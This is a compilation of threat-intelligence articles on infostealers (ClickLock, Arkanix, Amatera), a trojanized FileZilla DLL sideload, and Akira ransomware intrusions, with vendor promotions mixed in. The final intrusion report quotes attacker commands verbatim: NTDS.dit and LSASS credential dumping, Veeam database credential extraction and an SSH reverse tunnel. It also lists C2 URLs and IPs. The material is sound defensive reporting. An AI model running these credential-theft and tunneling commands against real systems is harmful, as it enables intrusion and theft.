filezilla

A new macOS information-stealing malware dubbed ClickLock terminates all visible processes to force users into entering their system login password. The malware is designed to steal cryptocurrency assets, login credentials, password-manager data, browser information, and macOS authentication data, and it can also install a persistent backdoor for ongoing remote access to infected systems. Researchers at Group-IB analyzed the ClickLock shell script after discovering the malware on VirusTotal, where it was first submitted on June 9. At the time of the report, it remained undetected by all security vendors available on the platform. Further investigation revealed that the malicious script has infected at least 100 systems across 33 countries since May. The compromise likely begins via a ClickFix lure, as the researchers observed pastes of a malicious command in the Terminal that trigger a fake Cloudflare “human verification” sequence with an animated progress bar. At the same time, keyboard interrupts are disabled, the terminal cursor is hidden, and the stealer modules are downloaded in the background. The macOS NotificationCenter is also suppressed for about six hours, effectively disabling notifications that could expose the attack. Forcing password entry Group-IB researchers highlight that ClickLock does not require any exploits or elevated privileges but achieves its goal through social engineering and forced interaction loops. Operational success is obtained through the malware's mechanism for coercing the victims into entering their macOS system password. Group-IB says that the script initially displays a fake macOS password dialog using the victim’s real username and a downloaded Apple icon. If the user enters their password, the malware validates the data and exfiltrates it to the attacker via Telegram. In case the user cancels the dialog, the malware establishes persistence via two macOS LaunchAgents (com.authirity.plist, com.chromer.plist) and reloads at the next login. At the next activation, the password-stealing module runs a termination loop every 210 milliseconds, targeting key apps (e.g., Finder, Dock, Terminal, Activity Monitor, Console, System Settings, Spotlight, web browsers) and shows only a password dialog on the screen until the victim complies. Group-IB reports that the loop is configured to continue for 300,000 seconds (about 83 hours), or until the victim supplies a correct password. The second LaunchAgent runs a separate coercion mechanism that also terminates many of the mentioned system applications, requesting Keychain authorization via a legitimate system prompt, seeking approval to access Chrome’s Safe Storage key. That key could then be used to decrypt offline Chromium-stored passwords, cookies, and autofill information from stolen databases. This second mechanism has a repeat interval of 200 milliseconds and is configured to last for nearly 35 days (3 million seconds). ClickLock also deploys a data-harvesting module, which targets the following: Data from eight browsers: Chrome, Firefox, Brave, Edge, Opera, Vivaldi, Arc, and Chromium Saved logins, cookies, autofill data, bookmarks, local storage, and session storage Cryptocurrency wallet extensions and desktop wallet files Encrypted wallet vault material for potential offline cracking Password-manager extension data Cached cryptocurrency addresses across EVM, Bitcoin, Solana, TRON, TON, and Stacks Shell histories FileZilla FTP configuration and recent-server data Basic system information and the public IP address The harvesting module packages the collected information and a summary log file into a ZIP archive, then uploads it via the Telegram Bot API. Files larger than 40 MB are split into smaller parts, while retry logic ensures that uploading resumes after temporary network failures. The final module is a modified version of the open-source tool GSocket that acts as a persistent backdoor for the attackers. The backdoor establishes persistence through multiple methods, including a LaunchAgent, crontab entries, and modifications to shell configuration files. It connects through a GSocket relay, allowing the attacker to open a reverse shell and remotely control the system. Unlike the other ClickLock modules that self-delete after execution, GSocket is the only component that persists on infected systems. Group-IB warns that "malware leaves a narrow detection window" and that the malicious payloads are hosted on compromised legitimate domains with a clean reputation. Additionally, the script is not flagged as malicious on VirusTotal, and its modules self-delete after execution, leaving no artifacts. Despite this, the researchers say that detection is possible based on the activity generated by the malware, such as osascript launching password dialogs, repeated process termination, mass access to browser profile directories, and outbound connections to Telegram's API. To defend against these attacks, users should avoid pasting in Terminal commands they don't fully understand, especially if the request comes from a website. "Any page that instructs you to open Terminal, regardless of how professional it looks, is attempting to compromise your system," the researchers say. If prompted to enter the login password when the rest of the system appears unresponsive, Group-IB recommends forcing a system shutdown by holding the power button and then booting into Safe Mode to recover the system. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Product showcase: Cross-platform and third-party endpoint patching with Action1 Keeping endpoints patched is one of the more annoying chores in IT operations. Action1 is a cloud-based autonomous endpoint management platform that addresses this challenge head-on, covering third-party apps and OS updates (Windows, macOS, and now Linux) from a single, centralized console. Built as a SaaS solution, it requires no on-premises infrastructure, no VPN tunnels, and no complex firewall rules — endpoints simply reach out to the Action1 cloud service. The result is a platform that scales from a 10-person shop to a global enterprise without adding operational complexity. What is Action1? Action1 is delivered entirely as a SaaS platform. Administrators can deploy the lightweight agent via a Windows-based Deployer that integrates with on-premises Active Directory, via a Group Policy Object (GPO), or through other endpoint management tools that support an installer. Once agents are in place, the platform provides centralized control over operating system updates and third-party application patches, managed through policy-based automations that handle approval workflows, scheduling, reboot behavior, and maintenance windows. The platform also includes vulnerability management capabilities. Missing patches are correlated against known CVEs from multiple update feeds, complete with CVSS scores, CISA Known Exploited Vulnerabilities (KEV) flags, and indicators for vulnerabilities linked to active ransomware campaigns. This turns patch management into a risk-informed practice rather than a checkbox exercise. Figure 1: From the Dashboard page, you can double-click any widget to drill down to more specific dashboards, run actions, or discover more details. Platform support and licensing Action1 supports Windows, macOS, and Linux endpoints, and it’s completely free for up to 200 endpoints with full functionality — not a trial, no feature limitations, no expiration date. This makes it genuinely viable for all organizations, proof-of-concept deployments, or test environments, with no commitment required. The platform offers role-based access control (RBAC), multi-organization management for MSPs, staged patch deployment using update rings, and a built-in software repository with pre-configured packages for common applications. Administrators can also build custom packages for organization-specific software. Reporting is flexible: predefined compliance templates are available out of the box, and custom reports can pull data from any source scriptable in PowerShell. Linux agent support The December 2025 release introduced native Linux agent support, extending Action1’s unified patch management beyond Windows and macOS. The current Linux agent supports Debian and Ubuntu (latest LTS versions) and most major forks tested, As wel as Red Hat based distributions, with new versions planed for future release. Linux endpoints can receive OS and third-party package updates as well as execute remote Bash scripts. Script Library assets are reusable across operating systems, which means administrators can manage Linux machines from the same console they already use for Windows and macOS — without switching tools or contexts. Figure 2: Action1 agent is a lightweight, non-intrusive component used to securely communicate with Action1 Cloud. Enterprise-wide management view Action1 now includes an enterprise-wide management view designed for MSPs and large organizations operating multiple tenants or departments. An “Entire Enterprise” selector aggregates data across all accessible organizations, covering endpoints, dashboards, reports, and vulnerability data in one unified view. An organization column provides context when viewing aggregated data, while endpoint groups remain organization-specific to preserve administrative separation where it matters. This gives MSPs the visibility they need at scale without blurring tenant boundaries. Figure 3: All endpoint information, including missing patches, installed software, and OS details, is refreshed in real time. Script execution and security enhancements Action1 supports remote script execution across managed endpoints. In Windows environments, administrators can optionally enforce digitally signed PowerShell scripts — useful for regulated environments where execution must be restricted to scripts signed with trusted certificates. This feature is enabled through Action1 Support. Agent communication has also been simplified: the Action1 Agent uses port 443 as its primary outbound channel, with port 22543 retained as a fallback. This reduces firewall configuration overhead in restricted network environments, which is a practical improvement for organizations with strict egress controls. Update rings and software repository improvements The update ring progression logic has been revised. Ring advancement is now time-based — specifically, “first successfully deployed X days ago” — replacing the previous condition that required a fixed number of updated endpoints. Ring control actions have been renamed from Exclude/Include to Pause/Resume, which better reflects their practical function. The Software Repository has been expanded with new Windows and macOS packages. Notable additions include Adobe Creative Cloud 2026 applications, Dell management tools, Docker Desktop, Google Chrome Enterprise, Microsoft Azure CLI, PowerShell 7 LTS, SQL Server Management Studio 21, and localized Mozilla applications. For macOS, new additions include Microsoft Edge, OneDrive, Postman, VLC, FileZilla, and Webex. Figure 4: Action1’s autonomous patching uses update rings to roll out updates in stages. Who is Action1 for? Action1 is well-suited for IT teams and MSPs managing distributed, multi-OS endpoint environments who need a patch management solution that is straightforward to deploy and operate. The free first 200 endpoints remove the usual barrier to evaluation, and the SaaS architecture means there is no infrastructure to stand up before getting started. With the December 2025 release, the platform has meaningfully expanded its cross-platform reach and enterprise management capabilities. Organizations that have been looking for a unified way to manage Windows, macOS, and Linux endpoints from one console — while maintaining proper multi-tenant separation for MSP workflows — will find the current version worth a closer look. You can activate your first free 200 endpoints at: https://on.action1.com/helpnetsecurity

A trojanized copy of the open-source FTP client FileZilla 3.69.5 is circulating online. The archive contains the legitimate FileZilla application, but with a single malicious DLL added to the folder. When someone downloads this tampered version, extracts it, and launches FileZilla, Windows loads the malicious library first. From that moment on, the malware runs inside what appears to be a normal FileZilla session. Because the infected copy looks and behaves like the real software, victims may not realize anything is wrong. Meanwhile, the malware can access saved FTP credentials, contact its command-and-control server, and potentially remain active on the system. The risk does not stop with the local computer. Stolen credentials could expose the web servers or hosting accounts the user connects to. This attack does not exploit a vulnerability in FileZilla itself. It depends on someone downloading the modified copy from an unofficial website and running it. The spread mechanism is simple deception, such as lookalike domains or search poisoning, rather than automatic self-propagation. A growing trend of trusted software, poisoned packages The abuse of trusted open-source utilities appears to be growing. Last month, we reported on fake 7-Zip downloads turning home PCs into proxy nodes. Security researchers have also reported that a compromised Notepad++ update infrastructure delivered a custom backdoor through DLL sideloading for several months. Now, FileZilla has been added to the list of software impersonated in this way. A lookalike domain, filezilla-project[.]live, hosts the malicious archive. The method is straightforward: take a legitimate portable copy of FileZilla 3.69.5, place a single malicious DLL into the folder, re-zip it, and distribute the archive. The infection relies on a well-understood Windows behaviour called DLL search order hijacking, where an application loads a library from its own directory before checking the Windows system folder. One file, one timestamp, one giveaway The archive contains 918 entries. Of those, 917 carry a last-modified date of 2025-11-12, consistent with an official FileZilla 3.69.5 portable release. One entry stands out: version.dll, dated 2026-02-03, nearly three months newer than everything else in the archive. A clean FileZilla portable distribution does not include a version.dll. The legitimate DLLs in the package are all FileZilla-specific libraries such as libfilezilla-50.dll and libfzclient-private-3-69-5.dll. The Windows Version API library—version.dll—is a system DLL that lives in C:\Windows\System32 and has no reason to be inside a FileZilla folder. Its presence is the entire attack. Caught in the act: what Process Monitor showed us We confirmed the sideloading on a live system using Process Monitor. When filezilla.exe starts, it needs to load a series of DLLs. For each one, Windows checks the application’s own directory first, then falls back to the system folder. For system libraries like IPHLPAPI.DLL and POWRPROF.dll, the application directory returns NAME NOT FOUND, so Windows loads the legitimate copies from C:\Windows\System32. This is normal behaviour. But for version.dll, the trojanized copy is sitting in the FileZilla folder. Windows finds it there, maps it into memory, and never reaches System32. The malicious code now runs inside filezilla.exe‘s own process. Seventeen milliseconds after loading, the malicious DLL searches for version_original.dll in the same directory and gets NAME NOT FOUND. This is a telltale sign of DLL proxying, a technique where the malicious DLL is designed to forward legitimate function calls to a renamed copy of the original library so the host application keeps working normally. In this case, the renamed original was not included in the archive, which may contribute to application instability. FileZilla calls LoadLibrary with just the DLL filename rather than the full path, so Windows searches the application’s own directory first — exactly the behaviour attackers need to plant a malicious DLL. This is a common design behavior. Built to detect analysis environments The DLL includes multiple checks designed to detect virtual machines and sandboxes before executing its payload. Behavioural analysis reveals BIOS version checks, system manufacturer queries, VirtualBox registry key probing, disk drive enumeration, and memory allocation using write-watch, which is a technique that can detect memory scanning by analysis tools. Evasive sleep loops round out the anti-analysis toolkit. These checks are selective rather than absolute. In sandboxed environments that closely resembled real user systems, the loader successfully resolved its C2 domain and attempted callbacks. In more obviously virtualised setups, it went dormant, producing no network activity beyond routine Windows DNS queries. On our own test system, FileZilla terminated almost immediately after launch, consistent with the DLL detecting the environment and killing the host process before reaching its network stage. DNS-over-HTTPS: phoning home where nobody is listening When the loader determines the environment is safe, it does not use traditional DNS to resolve its command-and-control domain. Instead, it sends an HTTPS request to Cloudflare’s public resolver: https://1.1.1.1/dns-query?name=welcome.supp0v3[.]com&type=A This technique, DNS-over-HTTPS, or DoH, bypasses corporate DNS monitoring, DNS-based blocklists, and security appliances that inspect traffic on port 53. It is the same evasion approach used in last month’s fake 7-Zip proxyware campaign. Once the domain resolves, the loader calls back to its staging server. Memory analysis of the loader process uncovered the full configuration embedded at runtime: { "tag":"tbs", "referrer":"dll", "callback":"https://welcome.supp0v3.com/d/callback?utm_tag=tbs2&utm_source=dll" } The UTM-style campaign tracking suggests a structured operation with multiple distribution vectors. The tbs2 tag and dll source identifier likely differentiate this DLL sideloading distribution from other delivery methods within the same operation. A second C2 channel on a non-standard port Beyond the DoH callback, the malware also reaches out to 95.216.51.236 on TCP port 31415—a non-standard port on Hetzner-hosted infrastructure. Network capture shows ten connection attempts across two sessions, suggesting a persistent retry mechanism designed to maintain contact with its operator. The use of a high, non-standard port is a common technique for blending C2 traffic past firewalls that only inspect well-known service ports. What the behavioural analysis flagged Automated behavioural analysis of the archive flagged several additional capabilities beyond what we observed directly. Behavioural rules flagged credential harvesting from local FTP client software. Given that the malware is sideloaded by FileZilla, some of these detections may reflect FileZilla’s own legitimate access to its credential store, though the combination with the C2 callback infrastructure makes a benign explanation unlikely. Additional behavioral indicators included: • Creating suspended processes and writing to other processes’ memory • Runtime .NET compilation via csc.exe • Registry modifications consistent with autorun persistence • Multiple file encryption API calls Taken together, these behaviors suggest a multifunctional implant capable of credential theft, process injection, persistence, and potentially data encryption. What to do if you may have been affected Be cautious about where you download software. DLL sideloading is not new, and this campaign shows how adding a single malicious file to an otherwise legitimate archive can compromise a system. We have recently seen similar tactics involving fake 7-Zip downloads and other compromised distribution channels. Treat software downloaded outside official project domains with the same caution as unexpected email attachments. Check for version.dll inside any FileZilla portable directory on your system. A legitimate FileZilla distribution does not ship this file. If present, treat the system as compromised. Download FileZilla only from the official project domain at filezilla-project.org and verify the download hash against the value published on the site. Monitor for DNS-over-HTTPS traffic from non-browser processes. Outbound HTTPS connections to known DoH resolvers such as 1.1.1.1 or8.8.8.8 from applications that have no business making web requests should be investigated. Block the domains and IP addresses listed in the IOC section below at your network perimeter. Inspect zip archives for timestamp anomalies before extracting and running applications. A single file with a different modification date from the rest of the archive is a simple but effective red flag. Malwarebytes detects and blocks known variants of this threat. Indicators of Compromise (IOCs) File hashes (SHA-256) 665cca285680df321b63ad5106b167db9169afe30c17d349d80682837edcc755 — trojanized FileZilla archive (FileZilla_3.69.5_win64.zip ) e4c6f8ee8c946c6bd7873274e6ed9e41dec97e05890fa99c73f4309b60fd3da4 — trojanizedversion.dll contained in the archive Domains filezilla-project[.]live welcome.supp0v3[.]com — C2 callback and staging Network indicators 95.216.51[.]236:31415 — C2 server From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

An information-stealing malware operation named Arkanix Stealer, promoted on multiple dark web forums towards the end of 2025, was likely developed as an AI-assisted experiment. The project included a control panel and a Discord server for communication with users, but the author took them down without notification, just two months after the operation began. Arkanix offered many of the standard data-stealing features that cybercriminals are used to, along with a modular architecture and anti-analysis features. Kaspersky researchers analyzed the Arkanix stealer and found clues indicating LLM-assisted development, which "might have drastically reduced development time and costs." The researchers believe that Arkanix was a short-lived project for quick financial gains, which makes detection and tracking much more difficult. Arkanix appears online Arkanix started being promoted on hacker forums in October 2025, offering two tiers to potential customers: a basic level with a Python-based implementation, and a “premium” one with a native C++ payload using VMProtect protection, integrating AV evasion and wallet injection features. The developer set up a Discord server that acted as a forum for the community around the project to receive updates, provide feedback for proposed features, and receive help. Also, a referral program was established to promote the project more aggressively, giving referrers an extra free hour of premium access, while potential new customers received one week of free access to the “premium” version. Data-stealing capabilities Arkanix malware can collect system information, steal data stored in the browser (history, autofill info, cookies, passwords), and cryptocurrency wallet data from 22 browsers. Kaspersky researchers say that it can also extract 0Auth2 tokens on Chromium-based browsers. Additionally, the malware can steal data from Telegram, steal Discord credentials, spread via the Discord API, and send messages to the victim’s friends/channels. Arkanix also targets credentials for Mullvad, NordVPN, ExpressVPN, and ProtonVPN, and can archive files from the local filesystem to exfiltrate them asynchronously. Additional modules that can be downloaded from the command-and-control include a Chrome grabber, a wallet patcher for Exodus or Atomic, a screenshots tool, HVNC, and stealers for FileZilla and Steam. The “premium” native C++ version adds RDP credential theft, anti-sandbox and anti-debugging checks, WinAPI-powered screen capturing, and also targets Epic Games, Battle.net, Riot, Unreal Engine, Ubisoft Connect, and GOG. The higher-tier variant also delivers the ChromElevator post-exploitation tool, which injects into suspended browser processes for data theft and is designed to bypass Google's App-Bound Encryption (ABE) protection for unauthorized access to user credentials. The purpose of the Arkanix stealer experiment remains unclear. The project may be an attempt to determine how LLM assistance can improve malware development and how quickly new features can be shipped to the community. Kaspersky's assessment is that Arkanix is "more of a public software product than a shady stealer." The researchers provide a comprehensive list of indicators of compromise (IoCs) that include hashes for detected files, along with domains and IP addresses. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Akira ransomware: From SonicWall VPN login to encryption in under four hours Four hours or less: that’s how long it takes for Akira affiliates to break into organizations and deploy the ransomware on their systems, Arctic Wolf researchers have warned. Armed with SonicWall SSL VPN credentials stolen in earlier intrusions and apparently able to bypass multi-factor authentication (MFA), the attackers: Start to scan the network to discover network services and unsecured accounts Use Impacket to set up and interact with SMB sessions Use RDP for lateral movement through compromised environments Find their way to a Domain Controller and gain access to virtual machine storage and backups Create additional accounts (including domain accounts) to install RMM tools and for data exfiltration Establish a C2 method Collect and exfiltrate data Disable legitimate RMM tools and EDR tools, delete System Volume Shadow Service copies, clear event logs Install WinRAR to archive data that will be exfiltrated via rclone or FileZilla to a virtual private server (VPS) they control Deploy the Akira ransomware. Initial access Arctic Wolf has been warning about the increase of Akira ransomware attacks since July 2025. At first, it appeared the attackers might be exploiting a zero-day in SonicWall VPN devices, but it was later confirmed they were abusing CVE-2024-40766, an improper access control flaw in SonicWall SonicOS management access and SSL VPN. A fix for CVE-2024-40766 was released by SonicWall in August 2024 but, according to the company, some customers have upgraded from Gen 6 to Gen 7 firewalls without resetting passwords for local user accounts with SSL VPN access. The prevailing theory is that these actors harvested SSL VPN and privileged service account credentials months earlier during quieter intrusions. They are now reusing those credentials to breach organizations that may have patched or upgraded, but never rotated local user passwords. Rapid7 researchers have also suggested that attackers are exploiting additional weaknesses, including: A misconfiguration in SonicWall devices’ SSLVPN Default Users Group setting, which automatically adds every successfully authenticated LDAP user to a predefined local group that may have access to sensitive services Externally accessible Virtual Office Portal inside the SonicOS management interface, which allows them to configure one-time password (OTP) multi-factor authentication on compromised accounts. “In our investigation, we observed repeated malicious SSL VPN logins on accounts with OTP MFA enabled, ruling out scratch code usage in those cases. We also found no signs of malicious use of the compromised accounts prior to SSL VPN login (event ID 1080), nor did we observe unauthorized OTP unbinding events or other malicious configuration changes (event ID 1382) in the five days leading up to the intrusions,” Arctic Wolf researchers noted. “Taken together, the evidence points to the use of valid credentials rather than modification of OTP configuration, though the exact method of authenticating against MFA-enabled accounts remains unclear.” So far, there’s no indication that these intrusions and the attack against SonicWall’s cloud backup service for firewalls are related. Advice for organizations Victim organizations span multiple industries and vary in size, which points to the attacks being opportunistic rather than targeted. The extraordinarily short time between initial access and ransomware deployment means that early detection and response are crucial. The researchers advise organizations to: Monitor for or, if possible, block logins from VPS hosting providers Monitor for anomalous SMB activity that points to Impacket use and for LDAP discovery activity Monitor for execution of network scanning tools and archival tools from unusual locations on servers Use App Control for Business to block unauthorized remote tools, deny execution from untrusted paths, etc. “If your SonicWall devices have previously run firmware versions vulnerable to CVE-2024-40766, we strongly recommend resetting all credentials stored on the firewall, including SSL VPN passwords and OTP MFA secrets,” Arctic Wolf researchers added. “This includes both local firewall accounts and LDAP-synchronised Active Directory accounts, especially where accounts have access to SSL VPN. Threat actors are abusing these credentials even when devices are fully patched, suggesting that credential theft may have occurred earlier in the lifecycle. Resetting LDAP synchronisation accounts is especially critical, as we have observed logins against these accounts despite them not being intended for VPN access.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

A new campaign has been observed impersonating Ukrainian government agencies in phishing attacks to deliver CountLoader, which is then used to drop Amatera Stealer and PureMiner. "The phishing emails contain malicious Scalable Vector Graphics (SVG) files designed to trick recipients into opening harmful attachments," Fortinet FortiGuard Labs researcher Yurren Wan said in a report shared with The Hacker News. In the attack chains documented by the cybersecurity company, the SVG files are used to initiate the download of a password-protected ZIP archive, which contains a Compiled HTML Help (CHM) file. The CHM file, when launched, activates a chain of events that culminate in the deployment of CountLoader. The email messages claim to be a notice from the National Police of Ukraine. CountLoader, which was the subject of a recent analysis by Silent Push, has been found to drop various payloads like Cobalt Strike, AdaptixC2, and PureHVNC RAT. In this attack chain, however, it serves as a distribution vector for Amatera Stealer, a variant of ACRStealer, and PureMiner, a stealthy .NET cryptocurrency miner. It's worth pointing out that both PureHVNC RAT and PureMiner are part of a broader malware suite developed by a threat actor known as PureCoder. Some of the other products from the same author include - PureCrypter, a crypter for Native and .NET PureRAT (aka ResolverRAT), a successor to PureHVNC RAT PureLogs, an information stealer and logger BlueLoader, a malware that can act as a botnet by downloading and executing payloads remotely PureClipper, a clipper malware that substitutes cryptocurrency addresses copied into the clipboard with attacker-controlled wallet addresses to redirect transactions and steal funds According to Fortinet, Amatera Stealer and PureMiner are both deployed as fileless threats, with the malware "executed via .NET Ahead-of-Time (AOT) compilation with process hollowing or loaded directly into memory using PythonMemoryModule." Amatera Stealer, once launched, gathers system information, collects files matching a predefined list of extensions, and harvests data from Chromium- and Gecko-based browsers, as well as applications like Steam, Telegram, FileZilla, and various cryptocurrency wallets. "This phishing campaign demonstrates how a malicious SVG file can act as an HTML substitute to initiate an infection chain," Fortinet said. In this case, attackers targeted Ukrainian government entities with emails containing SVG attachments. The SVG-embedded HTML code redirected victims to a download site." The development comes as Huntress uncovered a likely Vietnamese-speaking threat group using phishing emails bearing copyright infringement notice themes to trick recipients into launching ZIP archives that lead to the deployment of PXA Stealer, which then evolves into a multi-layered infection sequence dropping PureRAT. "This campaign demonstrates a clear and deliberate progression, starting with a simple phishing lure and escalating through layers of in-memory loaders, defense evasion, and credential theft," security researcher James Northey said. "The final payload, PureRAT, represents the culmination of this effort: a modular, professionally developed backdoor that gives the attacker complete control over a compromised host." "Their progression from amateurish obfuscation of their Python payloads to abusing commodity malware like PureRAT shows not just persistence, but also hallmarks of a serious and maturing operator."

Akira ransomware is abusing a legitimate Intel CPU tuning driver to turn off Microsoft Defender in attacks from security tools and EDRs running on target machines. The abused driver is 'rwdrv.sys' (used by ThrottleStop), which the threat actors register as a service to gain kernel-level access. This driver is likely used to load a second driver, 'hlpdrv.sys,' a malicious tool that manipulates Windows Defender to turn off its protections. This is a 'Bring Your Own Vulnerable Driver' (BYOVD) attack, where threat actors use legitimate signed drivers that have known vulnerabilities or weaknesses that can be abused to achieve privilege escalation. This driver is then used to load a malicious tool that disables Microsoft Defender. "The second driver, hlpdrv.sys, is similarly registered as a service. When executed, it modifies the DisableAntiSpyware settings of Windows Defender within \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware," explain the researchers. "The malware accomplishes this via execution of regedit.exe." This tactic was observed by Guidepoint Security, which reports seeing repeated abuse of the rwdrv.sys driver in Akira ransomware attacks since July 15, 2025. "We are flagging this behavior because of its ubiquity in recent Akira ransomware IR cases. This high-fidelity indicator can be used for proactive detection and retroactive threat hunting," continued the report. To help defenders detect and block these attacks, Guidepoint Security has provided a YARA rule for hlpdrv.sys, as well as complete indicators of compromise (IoCs) for both drivers, their service names, and file paths where they are dropped. Akira attacks on SonicWall SSLVPN Akira ransomware was recently linked to attacks on SonicWall VPNs using what is believed to be an unknown flaw. Guidepoint Security says it could neither confirm nor debunk the exploitation of a zero-day vulnerability in SonicWall VPNs by Akira ransomware operators. In response to reports about elevated offensive activity, SonicWall advised disabling or restricting SSLVPN, enforcing multi-factor authentication (MFA), enabling Botnet/Geo-IP protection, and removing unused accounts. Meanwhile, The DFIR Report has published an analysis of recent Akira ransomware attacks, highlighting the use of the Bumblebee malware loader delivered via trojanized MSI installers of IT software tools. An example involves searches for "ManageEngine OpManager" on Bing, where SEO poisoning redirected the victim to the malicious site opmanager[.]pro. Bumblebee is launched via DLL sideloading, and once C2 communication is established, it drops AdaptixC2 for persistent access. The attackers then conduct internal reconnaissance, create privileged accounts, and exfiltrate data using FileZilla, while maintaining access via RustDesk and SSH tunnels. After approximately 44 hours, the main Akira ransomware payload (locker.exe) is deployed to encrypt systems across domains. Until the SonicWall VPN situation clears up, system administrators should monitor for Akira-related activity and apply filters and blocks as indicators emerge from security research. It is also strongly advised to only download software from official sites and mirrors, as impersonation sites have become a common source for malware. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Overview Bumblebee malware has been an initial access tool used by threat actors since late 2021. In 2023 the malware was first reported as using SEO poisoning as a delivery mechanism. Recently in May of 2025 Cyjax reported on a campaign using this method again, impersonating various IT tools. We observed a similar campaign in July in which a download of an IT management tool ended with Akira ransomware. In July 2025, we observed a threat actor compromise an organization through this SEO poisoning campaign. A user searching for “ManageEngine OpManager” was directed to a malicious website, which delivered a trojanized software installer. This action led to the deployment of the Bumblebee malware, granting the threat actor initial access to the environment. The intrusion quickly escalated from a single infected host to a full-scale network compromise. Following initial access, the threat actor moved laterally to a domain controller, dumped credentials, installed persistent remote access tools, and exfiltrated data using an SFTP client. The intrusion culminated in the deployment of Akira ransomware across the root domain. The threat actor returned two days later to repeat the process, encrypting systems within a child domain and causing significant operational disruption across the enterprise. This campaign affected multiple organizations during July as we received confirmation of a similar intrusion responded to by the Swisscom B2B CSIRT in which a malicious IT tool dropped Bumblebee and also ended with Akira ransomware deployment. Our customers received notice of this campaign in early July followed by a private threat brief report. If you are interested in the full report or additional IOCs please contact us. Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! This intrusion began when a user, searching for “ManageEngine OpManager” on Bing, was directed to the malicious site opmanager[.]pro. The user downloaded a trojanized MSI installer, ManageEngine-OpManager.msi, which, upon execution, installed the legitimate software while simultaneously loading the Bumblebee malware msimg32.dll via consent.exe. The Bumblebee malware established command and control (C2) with 109.205.195[.]211:443 and 188.40.187[.]145:443 using DGA domains. By targeting IT management tools and software in both our intrusion and the one observed by Swisscom B2B CSIRT, the users executing the malware were highly privileged IT administrator accounts within Active Directory. This provided easy privileged access to the threat actors for their next actions. Approximately five hours after this initial execution, Bumblebee deployed an AdaptixC2 beacon (AdgNsy.exe), which established a new C2 channel to 172.96.137[.]160:443. The threat actor then initiated internal reconnaissance using built-in Windows utilities, including systeminfo, nltest /dclist:, whoami /groups, and net group domain admins /dom. Following this, the threat actor then created two new domain accounts, backup_DA and backup_EA, and added the latter to the “Enterprise Administrators” group. Using the privileged backup_EA account, the threat actor connected to a domain controller via RDP and dumped the NTDS.dit file using wbadmin.exe. wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include":C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet For persistence and re-entry, the threat actor installed the RustDesk remote access tool on several hosts. In a subsequent session, the threat actor established a SSH tunnel to an external server at 193.242.184[.]150 to proxy their activity. ssh [email protected] -R *:10400 -p22 They continued discovery by deploying a renamed SoftPerfect network scanner (n.exe). Following this, they targeted a backup server, and attempted to dump credentials from the Veeam PostgreSQL database. psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Around the same time, the threat actor installed FileZilla on a file server and exfiltrated data via SFTP to 185.174.100[.]203. They performed LSASS memory dumping on multiple workstations using rundll32.exe with comsvcs.dll using a combination of remote services and WMI. The threat actor then deployed the Akira ransomware payload, locker.exe, and executed it with various command-line options to encrypt local, remote network shares, and other directories on remote hosts. Two days after this first ransomware deployment, the threat actor returned via RustDesk, connected to a child domain controller, and performed another round of discovery using Invoke-ShareFinder and DNS zone export commands, before deploying Akira ransomware to the child domain. Time to the first round of ransomware (TTR) was just shy of 44 hours after initial access. Swisscom B2B CSIRT reported an even faster TTR of just nine hours from initial access. During our investigation of the OpManager site, we identified two additional websites that appear to be distributing trojanized installers for Axis Camera tools and Angry IP Scanner. Refer to the IOC section for further details. Detection Engineering and Threat Hunting (DEATH) Hunt for MSI installations from user directories followed by suspicious child processes: Monitor msiexec.exe executing from user Desktop/Downloads (C:\Users\*\Desktop\*.msi, C:\ProgramData\*.msi) and spawning unexpected children like consent.exe or unusual image load events for msimg32.dll. Review unusual MSI packages with suspicious names: Look for MSI files with generic names like ManageEngine-OpManager.msi or rustdesk-*.msi downloaded to user directories. Is this software generally allowed in you environment? Is this a commonly used remote access tool for your users? Does the software being installed make sense for the users job role? Credential Access Hunt for LSASS memory dumping via comsvcs.dll with tasklist enumeration: cmd.exe /Q /c for /f "tokens=1,2 delims= " %%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 %%B \Windows\Temp\*.* full Detect LSASS dumps with unusual file extensions: Monitor rundll32.exe comsvcs.dll #+000024 writing to \Windows\Temp\ with non-standard extensions like .sys, .docx, .avhdx Monitor PostgreSQL credential extraction from Veeam databases: psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Monitor wbadmin abuse for NTDS.dit/Hive dumping: wbadmin start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include:"C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet Discovery Hunt for rapid domain enumeration sequences within short time-frames ( -R *:10400 -p22 Hunt for Bumblebee DGA patterns: Look for multiple DNS queries to domains matching pattern [8-14 random chars].org (e.g., ev2sirbd269o5j[.]org, ijt0l3i8brit6q[.]org) within seconds of each other. Lateral Movement Hunt for RDP logons using newly created accounts: Monitor Type 10 logons from compromised internal systems using accounts like backup_EA Detect suspicious inter-system authentication patterns: Look for authentication from initial access systems to domain controllers within hours of account creation Data Collection & 